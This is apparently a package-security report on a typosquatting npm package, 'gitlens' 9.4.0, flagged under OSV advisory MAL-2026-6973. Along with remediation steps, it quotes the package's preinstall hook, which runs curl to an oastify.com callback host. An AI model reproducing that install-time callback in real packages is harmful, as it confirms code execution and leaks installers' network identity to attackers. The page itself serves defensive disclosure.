gitlens
This report shows the evidence for gitlens@9.4.0. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6973 confirms this npm version as malicious.
Advisory
MAL-2026-6973
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in gitlens (npm)
Details
package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.
## Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
## Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395) The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
- The package executes one or more commands associated with malicious behavior.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to gitlens@9.4.0.
The same advisory and Firewall decision cover 2 recorded versions
9.4.0, 9.4.1
The versions list below shows the verdict for each recorded version.
- Avoid installing gitlens@9.4.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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